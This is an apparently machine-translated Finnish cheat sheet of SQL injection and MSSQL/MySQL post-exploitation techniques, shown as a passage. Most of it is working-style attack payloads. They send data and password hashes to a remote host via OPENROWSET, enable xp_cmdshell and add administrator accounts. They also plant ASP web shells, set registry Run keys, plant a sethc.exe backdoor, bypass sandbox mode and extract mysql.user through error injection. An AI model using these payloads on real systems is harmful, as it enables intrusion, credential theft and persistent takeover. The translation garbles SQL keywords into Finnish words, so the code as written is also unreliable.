* taulukosta 2 Tämä rivilauseke kopioi kaiken datan kohdeisännän taulukko2-taulukosta etä-_blank>-tietokannan taulukko1-taulukkoon. Sopivat korjaukset käytännössä
Muuta yhteysmerkkijonon IP-osoite ja portti osoittamaan tarvitsemaasi kohtaan, esimerkiksi: insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Osoite=192.168.0.1,1433; ,valitse
* taulukosta 1) valitse * taulukosta 2 insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Osoite=192.168.0.1,1433; ,valitse
* _blank>_sysdatabases) Valitse * master.dbo.sysdatabasesista insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Osoite=192.168.0.1,1433; ,valitse
* _blank>_sysobjects) valitse * user_blank>_database.dbo.sysobjectsista insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Osoite=192.168.0.1,1433; ,valitse
* _blank>_syscolumns) Valitse * user_blank>_database.dbo.syscolumnsista Replikoi _blank> tietokanta: insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Osoite=192.168.0.1,1433; ,valitse
* taulukosta 1) valitse * tietokannasta.. taulukko 1 insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Osoite=192.168.0.1,1433; ,valitse
* taulukosta 2) valitse * tietokannasta.. taulukko 2
Salasanan tiiviste, joka kopioi hajautustaulukon (HASH) kirjautumisen _blank> salasanan, tallennetaan sysxloginsiin. Näin näin: insert into OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Network=DBMSSOCN; Osoite=192.168.0.1,1433; , valitse * _blank>_sysxlogins)
valitse * database.dbo.sysxlogins -sivustolta Kun saat hashin, voit käyttää sitä brute forcella.
Hakemiston läpikäynti: Luo ensin väliaikainen taulukko: temp ; luo taulukko temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; lisää temp exec master.dbo.xp_blank>_availablemedia; – Hae kaikki nykyiset asemat ; lisää temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Hanki lista alihakemistoista ; lisää temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Hanki hakemistopuun rakenne kaikille alihakemistoille,
Yhdistä tuumat väliaikaiseen taulukkoon ; lisää temp(id) exec master.dbo.xp_blank>_cmdshell tyyppi c:\web\index.asp; – Katso tiedosto
Sisältö ; lisää temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; – ; lisää temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; lisää temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Sovellettava toimivalta
JULKINEN) Kirjoita pöytään: lause 1: ja 1=(Valitse IS_blank>_SRVROLEMEMBER(järjestelmänvalvoja)); – Lause 2: ja 1=(Valitse IS_blank>_SRVROLEMEMBER(serveradmin)); – Lause 3: ja 1=(Valitse IS_blank>_SRVROLEMEMBER(setupadmin)); – Lause 4: ja 1=(Valitse IS_blank>_SRVROLEMEMBER(securityadmin)); – Lause 5: ja 1=(Valitse IS_blank>_SRVROLEMEMBER(securityadmin)); – Lause 6: ja 1=(Valitse IS_blank>_SRVROLEMEMBER(diskadmin)); – Väite 7: ja 1=(Valitse IS_blank>_SRVROLEMEMBER(bulkadmin)); – Väite 8: ja 1=(Valitse IS_blank>_SRVROLEMEMBER(bulkadmin)); – Väite 9: ja 1=(Valitse IS_blank>_MEMBER(db_blank>_owner)); –
Kirjoita polku taulukkoon: ; create table dirs(paths varchar(100), id int)– ; Lisää DIRS:n johtaja master.dbo.xp_blank>_dirtree c:\– ja 0<>(valitse DIRS:stä top 1 -polut)– ja 0<>(valitse top 1 -polut DIRS:stä, jossa polut eivät ole (@Inetpub)))– ; create table dirs1(paths varchar(100), id int)– ; Lisää DIRS Exec master.dbo.xp_blank>_dirtree e:\web– ja 0<>(valitse DIRS1:stä Top 1 -polut)–
Varmuuskopioi _blank> tietokanta verkkohakemistoon: Lataa ; julistaa @a sysname; joukko @a=db_blank>_name(); varmuuskopiotietokanta @a disk=e:\web\down.bak; –
ja 1=(Valitse top 1 name from(Valitse top 12 id,name from sysobjects, where xtype=char(85)) T
tilaus: id desc) ja 1=(Valitse Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) sysobjectsista) Katso myös
Aiheeseen liittyvät taulukot. ja 1=(valitse user_blank>_id USER_blank>_LOGIN) ja 0=(valitse käyttäjä USER_blank>_LOGIN missä käyttäjä>1)
-=- wscrip{filter}t.shell-esimerkki -=- deklaroi @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, juokse, NULL, notepad.exe ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
declare @o int, @f int, @t int, @ret int julistaa @line varchar (8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline, @line out while( @ret = 0 ) Aloita Tulosta @line exec @ret = sp_blank>_oamethod @f, readline, @line out loppu
declare @o int, @f int, @t int, @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o ulos exec sp_blank>_oamethod @o, rekisteri, NULL, foo, bar exec sp_blank>_oasetproperty @o, nopeus, 150 exec sp_blank>_oamethod @o, puhu, NULL, kaikki jatko-osien palvelimesi kuuluvat meille, 528 odota viivettä 00:00:05
; decare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec
sp_blank>_oamethod @o, rekisteri, NULL, foo, bar exec sp_blank>_oasetproperty @o, nopeus, 150 exec
sp_blank>_oamethod @o, puhu, NULL, kaikki jatko-osien palvelimesi kuuluvat meille, 528 odota viivettä
00:00:05–
xp_blank>_dirtree sovellettava JULKINEN lupa exec master.dbo.xp_blank>_dirtree c: Palautetulla tiedoilla on kaksi kenttää: alihakemisto, syvyys. Alihakemistokentät
Merkkityyppi, syvyyskenttä on muokkauskenttä. luo taulukko dirs(paths varchar(100), id int) Taulukon rakentaminen, tässä luotu taulukko liittyy yllä mainittuihin xp_blank>_dirtree, kentät ovat yhtä suuret ja sama tyyppi. insert dirs exec master.dbo.xp_blank>_dirtree c: Kunhan rakennamme taulukon ja määrittelemme tallennusprosessin palauttamat kentät tasapuolisesti
Toteuta! Jotta voimme saavuttaa taulukoiden kirjoittamisen vaikutuksen, askel askeleelta saadaksesi haluamamme tiedon! Tämä virheinjektio perustuu pääasiassa Mysql-datatyypin ylivuotoon mysql > VALITSE 18446744073709551610 * 2 ; ERROR 1690 (22003): BIGINT UNSIGN-arvo on alueen ulkopuolella '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; ERROR 1690 ( 22003 ): BIGINT UNSIGN-arvo on alueen ulkopuolella '(- (1) *
9223372036854775808)' Hae tietokantaversio: mysql> SELECT * 2 (jos ((SELECT * from (SELECT (versio ()) ) s), 18446744073709551610,
18446744073709551610)); ERROR 1690 (22003): BIGINT UNSIGN-arvo on alueen ulkopuolella '(2 * if (( Select ' 5.5 'from
Dual), 18446744073709551610.18446744073709551610))' Hanki kentän nimi: mysql> VALITSE 2 * if((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * from
test.shop limit 1), 18446744073709551610, 18446744073709551610);
ERROR 1690 (22003): BIGINT UNSIGN-arvo on alueen ulkopuolella '(2 * if(((select
'article', 'dealer','price' (valitse 'test'.'shop'.'article' AS
'article','test'.'shop'.'dealer' AS 'dealer','test'.'shop'.'price' AS 'price' from
'testi'.'shop') rajoitus 1) > (valitse
'testi'.'osta'.'artikkeli','testi'.'kauppa'.'kauppias', 'testaa'.'osta'.'hinta' 'testauksesta'.'kaupparaja
1)),18446744073709551610,18446744073709551610))' Hanki kenttäarvo:
mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
ERROR 1690 (22003): BIGINT UNSIGN-arvo on alueen ulkopuolella '(2 * if(((select
'paikallishost','root','*','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','
Y','Y','Y','Y','Y','Y','Y','Y','Y','','','0','','' DUAL LIMIT from dual limit 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Huomaa, että tämä menetelmä ei toimi vanhemmissa Mysql-versioissa, ja sinun täytyy tietää virheilmoituksen pituusraja, koska se määrittää
Voit saada niin pitkän ajan kuin haluat: Mysys / my_error.c
/* Virheilmoituksen maksimipituus. Pitäisi pysyä synkassa MYSQL_ERRMSG_SIZE kanssa. */ #define ERRMSGSIZE (512)
Jos objekti on MariaDB (Mysql:n haarukka), saatat nähdä virheilmoituksen, joka on tämä, kun kokeilet yllä olevaa menetelmää:
mysql> SELECT 2*(if(((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) ERROR 1690 (22003): BIGINT UNSIGN-arvo on alueen ulkopuolella '(2 * if((select
#),18446744073709551610,18446744073709551610))'
Ratkaisuna tämä ongelma voidaan ratkaista seuraavasti:
mysql> SELECT (i EI OLE NULL) - -9223372036854775808 FROM (SELECT (version())i)a; ERROR 1690 (22003): BIGINT-arvo on alueen ulkopuolella '(('5.5-MariaDB' ei ole nolla) - -
(9223372036854775808))' Nyt katsotaan, voisimmeko tehdä vektoristamme hieman lyhyemmän
//查询数据库版本
VALITSE 2*(if(((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) = valitse 1E308*if((select*from(select version())x),2,2)
SELECT (i EI OLE NULL) - -9223372036854775808 FROM (SELECT (version())i)a = valitse if(x,2,2)*1E308 from(valitse version()x)y
//获取表字段名称 VALITSE 2 * if((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * from
test.shop rajoitus 1), 18446744073709551610, 18446744073709551610) = valitse 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
VALITSE 2 * if((SELECT * from (valitse * from (mysql.user) LIMIT 1) nimellä '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 valitse 1E308*if((valitse käyttäjä|| juontaja|| salasana|| file_priv from(select*from mysql.user LIMIT)
1) raja 1),2,2)
//获取字段个数
valitse 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)
Joitakin muita muodonmuutoksia
SELECT (i EI OLE NULL) - -9223372036854775808 FROM (SELECT (version())i)a valitse 1E308*if((valitse käyttäjä|| juontaja|| salasana|| file_priv from(select*from mysql.user LIMIT)
1) raja 1),2,2); => select 2*if((valitse user|isäntä|salasana|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); mysql> valitse (valitse * mysql.userista)=1; mysql> valitse (valitse * mysql.user)in(1);
VIRHE 1241 (21000): Operandissa tulee olla 42 saraketta select 2*if((valitse user|isäntä|salasana|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); valitse if((valitse käyttäjä|| juontaja|| salasana|| file_priv from(select*from mysql.user LIMIT 1)a
limit 1),2,2)*1E308 SELECT (i EI OLE NULL) - -9223372036854775808 FROM (SELECT (version())i)a select (x!=0x00)--9223372036854775808 from(SELECT version()x)y mysql> select!x-~0.FROM(select+user()x)f; ERROR 1690 (22003): BIGINT-UNSIGN-arvo on alueen ulkopuolella '((not('root@localhost'))) - ~
(0))' 3. Arvioi tietokantajärjestelmää ; ja (valitse count(*) sysobjectsista)>0 mssql ; ja (valitse count(*) msysobjectsista)>0 pääsy 4. Injektioparametri on merkki 'ja [kyselykriteerit] ja ''=' 5. Haun aikana ei ole suodatettuja parametreja 'and [kyselykriteerit] ja '%25'=' 6. Arvaa tietokanta ; ja (valitse Count(*) [tietokannan nimi])>0 7. Arvaa kenttä ; ja (valitse Count (kentän nimi) tietokannan nimestä)>0 8. Arvaa ennätyksen pituus kentällä ; ja (valitse top 1 lensi (kentän nimi) tietokannan nimestä)>0 9. (1) Arvaa kentän ASCII-arvo (access) ; ja (valitse top 1 ASC (Mid(kentän nimi, 1,1)) tietokannan nimestä)>0 (2) Arvaa kentän ASCII-arvo (mssql) ; ja (valitse top 1 unicode(alimerkkijono(kentän nimi, 1,1)) tietokannan nimestä)>0 10. Testiluparakenne (mssql) ; ja 1=(valitse IS_SRVROLEMEMBER('järjestelmänvalvoja')); -- ; ja 1=(valitse IS_SRVROLEMEMBER('serveradmin')); -- ; ja 1=(valitse IS_SRVROLEMEMBER('setupadmin')); -- ; ja 1=(valitse IS_SRVROLEMEMBER('securityadmin')); -- ; ja 1=(valitse IS_SRVROLEMEMBER('diskadmin')); -- ; ja 1=(valitse IS_SRVROLEMEMBER('bulkadmin')); -- ; ja 1=(valitse IS_MEMBER('db_owner')); -- 11. Lisää tili mssql:lle ja järjestelmälle ; exec master.dbo.sp_addlogin käyttäjätunnus; -- ; exec master.dbo.sp_password null, käyttäjätunnus, salasana; -- ; johtaja master.dbo.sp_addsrvrolemember järjestelmänvalvojan käyttäjätunnus; -- ; Exec master.dbo.xp_cmdshell 'Net User Password: /Workstations:* /Times:All
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; Exec master.dbo.xp_cmdshell 'Net User Password, Password /Add'; -- ; exec master.dbo.xp_cmdshell 'Net LocalGroup Administrators käyttäjätunnus /add'; -- 12. (1) Käy läpi luetteloa ; luo taulukko dirs(paths varchar(100), id int) ; Lisää DIRS:n johtaja master.dbo.xp_dirtree 'c:\' ; ja (valitse top 1 -polut dirsistä)>0 ; ja (valitse top 1 -polut direistä, joissa polut eivät ole mukana ('polut, jotka on saatu edellisestä vaiheesta'))>) (2) Käy läpi luetteloa ; luo taulukko temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; Insert Temp Exec master.dbo.xp_availablemedia; -- Hae kaikki nykyiset asemat ; lisää temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Hanki lista alihakemistoista ; lisää temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Hae hakemistopuun rakenne kaikille alihakemistoille ; lisää temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Katso tiedoston sisältö 13. Tallennetut menettelyt mssql:ssä xp_regenumvalues Rekisterin juuriavain, lapsiavain ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' ja paljon muuta
tietuejoukko-menetelmä kaikkien avainarvojen palauttamiseksi xp_regread Juuriavain, lapsiavain, avain-arvon nimi ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'CommonFilesDir' palauttaa muotoiluavaimen arvon xp_regwrite Juuriavain, lapsiavain, arvon nimi, arvotyyppi, arvo Arvoja on kahta tyyppiä: REG_SZ REG_DWORD merkkityypeille ja kokonaisluvuille ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' kirjoitetaan rekisteriin xp_regdeletevalue Juuriavain, aliavain, arvonimi exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName' poistaakseen arvon xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' poistonäppäin,
Sisällytä kaikki arvot kyseisen avaimen alle 14. mssql-varmuuskopiointi luo webshellin Käyttömalli luo taulukko cmd(str-kuva); lisää cmd(str)-arvoihin ('<% Dim oscrip{filter}t %>'); varmuuskopiointitietokantamalli disk='c:\l.asp'; 15. MSSQL:n sisäänrakennetut toiminnot ; ja (valitse @@version)>0 saadaksesi Windowsin versionumeron ; ja user_name()='dbo' määrittääkseen, onko nykyisen järjestelmän yhdistetty käyttäjä SA ; ja (valitse user_name()))>0 Räjäytti nykyisen järjestelmän yhdistetyt käyttäjät ; ja (valitse db_name())>0 saadaksesi tällä hetkellä yhdistetyn tietokannan 16. Tiivis verkkokuori Käyttömalli luo taulukko cmd(str-kuva); lisää cmd(str)-arvot ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); varmuuskopiotietokantamalli disk='g:\wwwtest\l.asp'; Kun pyydät, käytä jotain tällaista:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Hanki kaikki tietokannan nimet, mukaan lukien järjestelmätietokannat –VALITSE nimi master.dbo.sysdatabasesista
– Hanki kaikki ei-järjestelmätietokantanimet –valitse [nimi] master.dbo.sysdatabasesista, missä DBId>6 Järjestä [Nimi] mukaan
– Hanki kaikki tiedot, mukaan lukien tietokantatiedoston osoite –valitse * master.dbo.sysdatabasesista, missä DBId>6 Järjestä mukaan
[Nimi]
Tämä lausekysely palauttaa kaikki käyttäjätaulut
Valitse * sysobjectsista, missä xtype='u'
Hae kaikki tietotaulutiedot järjestelmästä
Valitse * sysobjectsista
Katso koneen nimeä Valitse * sys.servers-sivustolta
Sarakkeen sisällysluettelo Exec master.dbo.xp_subdirs 'c:\'
exec master.dbo.xp_dirtree 'c:',1,1 db_owner Käyttöoikeuksia voidaan valvoa
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Ohjelmakoodi, kirjoitettu webshelliin
exec master.dbo.xp_subdirs 'd:\web\www.xx.com'; johtaja sp_makewebtask 'd:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"
Teloita mestari.. xp_enumgroups
Traverse-järjestelmän käyttäjät
Teloita mestari.. xp_getnetname Hanki nykyinen koneen nimi
--Listaa palvelimella kiinteät levyt sekä kunkin levyn käytettävissä oleva tila dbo julkinen
suorittaa
xp_ntsec_enumdomains
-- Luo tili kirjautuaksesi MSSQL:ään johtaja master.dbo.sp_addlogin nimi, pass; --
-- Listaa palvelimen verkkotunnus xp_ntsec_enumdomains // Koneen nimi //dbo julkinen
-- Pysäytä tai käynnistä palvelu xp_servicecontrol 'stop', 'schedule' //schedule on palvelun nimi //dbo
--Käytä PID:ää
Pysäytä suoritettava ohjelma xp_terminate_process 123 //123 on pid //dbo
-- Vain hakemiston alihakemistot on listattu dbo.xp_subdirs 'C:' //dbo
SQL-palvelin Menetelmä, jolla xp_cmdshell avattiin vuonna 2005 EXECUTIVE sp_configure 'näytä edistyneet asetukset', 1; RECONFIGURE; JOHTAJA
sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL2005 Avaa 'OPENROWSET' Tuetut menetelmät: exec sp_configure 'näytä edistyneet asetukset', 1; RECONFIGURE; johtaja sp_configure 'Ad Hoc
Jaetut kyselyt', 1; RECONFIGURE;
SQL2005 'sp_oacreate'-tuen mahdollistamiseksi: exec sp_configure 'näytä edistyneet asetukset', 1; RECONFIGURE; johtaja
sp_configure 'Ole Automation Procedures',1; UUDELLEENKONFIGUROINTI
Kuinka ottaa xp_cmdshell käyttöön SQL Server 2008:ssa
-- Jotta edistyneitä asetuksia voidaan muuttaa. JOHTAJA
sp_configure 'näytä edistyneet asetukset', 1 MENE -- Nykyisen konfiguroidun arvon päivittämiseksi
Edistyneet vaihtoehdot. UUDELLEENKONFIGUROINTI MENE -- Toiminto aktivoitua. EXECUTIVE sp_configure 'xp_cmdshell', 1 MENE -- To
päivitä tällä hetkellä määritetty arvo tälle ominaisuudelle. UUDELLEENKONFIGUROINTI MENE
exec xp_cmdshell 'ipconfig'
Tänään halusin vaihtaa tietokantapalvelimen SA-kirjautumissalasanan, mutta unohdin sen yhtäkkiä, joten jouduin avaamaan kyselyanalysaattorin muiden tilien avulla vaihtaakseni SA-salasanan
Se on hyvin yksinkertaista:
Toteutus: sp_password Null, 'teracypwd,'sa' Aseta SA-salasanaksi "teracypwd"
Onnistuneen teloituksen jälkeen
On "Komento(t) suoritettu onnistuneesti." OKEI!
Tietokantaoikeuksissa erotetaan MSSQL-tietokantapalvelimen IP-osoitteen hankintatapa
1. Paikallinen NC kuuntelee NC -VVLP 80
2.; lisää sisään
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Network=DBMSSOCN; Osoite=osoitteesi, 80; ', 'valitse *
dest_table') valitse * src_table; --
Valitse * openrowsetistä
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','valitse käyttäjä; ')
Tietokannan tuonti ja vienti
/*不同服务器数据库之间的数据操作*/
--Luo linkkipalvelin Johtaja sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Etäpalvelimen nimi tai IP-osoite' exec sp_addlinkedsrvlogin 'ITSV', 'false
',null, 'käyttäjätunnus', 'salasana'
--kyselyesimerkki valitse * ITSV.database name.dbo.table name
--tuontiesimerkki Valitse *
taulukkoon ITSV.databasename.dbo.tablename
--Poista linkitetty palvelin, jos sitä ei enää käytetä tulevaisuudessa sp_dropserver 'ITSV':n johtaja,
'droploginit'
-- Yhdistäminen etä-/LAN-dataan (openrowset/openquery/opendatasource) --1、openrowset
--kyselyesimerkki Valitse *
openrowset( 'SQLOLEDB', 'SQLL-palvelimen nimi'; 'Käyttäjätunnus'; 'password', tietokanta name.dbo.table name)
-- Luo paikallinen taulukko valitse * taulukkoon openrowset( 'SQLOLEDB', 'SQLL-palvelimen nimi'; 'Käyttäjätunnus'; 'Salasana', numero
Tietokannan nimi.dbo. taulun nimi mukaan)
-- Tuo paikallinen taulu etätaulukkoon lisää openrowset( 'SQLOLEDB', 'SQL-palvelimen nimi'; 'Käyttäjätunnus'; 'Salasanat', tietokannat
name.dbo.table name) Valitse *paikallisesta taulukosta
-- Päivitä paikallisia taulukoita Päivitys B joukko b. sarake A = a openrowset( 'SQLOLEDB', 'SQLL-palvelimen nimi'; 'Käyttäjätunnus'; '
salasana ', tietokannan nimi .dbo.table name) sisäisenä liitoksena paikallisena tauluna b on a.column1=b.column1
--openquery Käyttö vaatii yhteyden luomista
--Luo ensin yhteys linkkipalvelimen luomiseksi johtaja sp_addlinkedserver 'ITSV', ' ',
'SQLOLEDB', 'etäpalvelimen nimi tai IP-osoite' --Kysy Valitse * FROM openquery(ITSV, 'SELECT * FROM' datasta
library.dbo.table name ') -- Tuo paikallinen taulu etätaulukkoon lisää openquery(ITSV, 'VALITSE * FROM database.dbo.table name') Valitse * paikallisesta
Taulukko --päivitä paikallinen taulukko Päivitys B joukko b. sarake B=a FROM openquery(ITSV, 'VALITSE * FROM database.dbo.tablename')
sisäinen liitos paikallinen taulukko b a. sarake A=b. sarake A
--3、opendatasource/openrowset VALITSE * LÄHTEESTÄ
opendatasource( 'SQLOLEDB', 'Data Source=ip/ServerName; Käyttäjätunnus = Kirjautumisnimi; Salasana=Salasana '
).test.dbo.roy_ta -- Tuo paikallinen taulu etätaulukkoon
xp_cmdshell poistaminen ja palauttaminen
Tapoja toipua xp_cmdshell Poista laajennettu tallennettu proseduuri xp_cmdshell
Lausunto Johtaja sp_dropextendedproc 'xp_cmdshell'
Palauta cmdshellin sql-lause exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
johtaja
master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll'; valitse count(*) joukosta
master.dbo.sysobjects , missä xtype='x' ja Palautustulos on 1 ja se on ok
Muussa tapauksessa sinun täytyy ladata c:\inetput\web
\xplog70.dll myöhemmin exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll
’; --
Jos poistat sen seuraavalla tavalla Pudotusmenettely sp_addextendedproc Pudotusmenettely sp_oacreate johtaja
sp_dropextendedproc 'xp_cmdshell'
Voit palauttaa sen seuraavalla lauseella dbcc addextendedproc ("sp_oacreate","odsole70.dll") DBCC
addextendedproc ("xp_cmdshell","xplog70.dll")
Näin se voidaan palauttaa suoraan, riippumatta siitä, onko sp_addextendedproc olemassa vai ei
1、 Käytä xp_cmdshell: Exec master.dbo.xp_cmdshell "Net User Admin Admin /Add" johtaja
master.dbo.xp_cmdshell "net localgroup administrators admin /add"
xp_cmdshell tapauksessa käytä sp_oacreate seuraamaan sp_oamethod: julista @object älykkyys johtaja
sp_oacreate 'wscrip{filter}t.Shell', @object ulos Johtaja sp_oamethod
@object,'Run',NULL,'net user admin admin /add' exec sp_oamethod @object,'Run',NULL,'net
localgroup Administrators admin /add'
Huomautus: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 Käytä sp_oacreate ja FSO:ta deklaroi @o int Johtaja sp_oacreate
'scrip{filter}ting.filesystemobject', @o ulos exec sp_oamethod @o, 'copyfile',null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; julista @oo älykkyys johtaja
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo ulos Johtaja sp_oamethod @oo,
'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
Käytä xp_regwrite (db_owner, uudelleenkäynnistys vaaditaan): Johtaja master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd1','reg_sz','net user admin admin /add' Johtaja master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd2','reg_sz','net localgroup administrators admin /add' 5. Käytä sp_add_job: johtaja
master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' Käytä MSDB Exec sp_delete_job
null,'x' Johtaja sp_add_job 'X' Johtaja sp_add_jobstep
Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add' Johtaja sp_add_jobserver
Null, 'x', @@servername exec sp_start_job 'x'
Monet SA:t ovat onnistuneet monissa koneissa suoraan hiekkalaatikkotilalla, mutta en ole koskaan harjoitellut sitä enkä tiedä, mikä onnistumisprosentti on. Kun jatke poistetaan, ensin
Palauta luku- ja kirjoitustallennus rekisteriin. dbcc addextendedproc ('xp_regread','xpstar.dll') DBCC addextendedproc
('xp_regwrite','xpstar.dll')
Korjattu hiekkalaatikon suojattu tila Toimitusjohtaja.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Engines','SandBoxMode','REG_DWORD',0; --
Katso, onko 'SandBoxMode'-arvo muuttunut 0:aan.
johtaja master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','OHJELMISTO
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Lopuksi, kutsu hiekkalaatikkotila Valitse * openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','valitse shell("cmd.exe /c verkkokäyttäjä passwd /add")')
Jos hiekkalaatikkosuojaustila ei ole "pois päältä", raportoidaan virhe: Palvelin: Msg 7357, Taso 16, Tila 2, Rivi 1
Epäonnistui käsitellä objektia 'valitse shell("cmd.exe /c net user passwd /add")'. OLE DB tarjoaa ohjelmia
Esipuhe 'microsoft.jet.oledb.4.0' osoittaa, ettei objektissa ole sarakkeita.
OLE DB:n virheenseuranta [Ei-rajapintavirhe: OLE DB -palveluntarjoaja ei pysty käsittelemään objektia, koska objekti
on nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
user passwd /add")']。
2、 Jos .mdb ei ole olemassa tai syötepolku on väärä Palvelin: Msg 7399, Taso 16, Tila 1, Rivi 1
OLE DB provider -virhe 'microsoft.jet.oledb.4.0'. [OLE/DB-palveluntarjoaja palautti viestin:
Tiedostoa 'C:\WINDOWS\system32\ias\dnary1.mdb' ei löydy. ]
OLE DB -virhejäljitys [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize palautettiin
0x80004005: ]。
3. Jos syöttöprosessin aikana on enemmän välilyöntejä, virhe raportoidaan myös. Kiinnitä erityistä huomiota tähän, monet ihmiset etsivät artikkeleita suoraan verkosta
Liitä se sisään ja suorita se. Palvelin: Msg 7357, Taso 16, Tila 2, Rivi 1 Objekti 'select' ei onnistunut käsittelemään
shell("cmd.exe /c net user passwd /add")'。 OLE DB:n palveluntarjoaja 'microsoft.jet.oledb.4.0' ilmoittaa, ettei objektissa ole sarakkeita.
OLE DB:n virheenseuranta [Ei-liitäntävirhe: OLE-tietokantapalveluntarjoaja ei pysty käsittelemään objektia, koska olio on
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user
passwd /add")']。
4、 Jos mdb- ja cmd.exe-oikeudet ovat väärät, ongelma ilmenee myös. Kun MDB:n käyttöoikeudet ovat virheelliset, Palvelin: Poista
Korko 7320, taso 16, osavaltio 2, linja 1
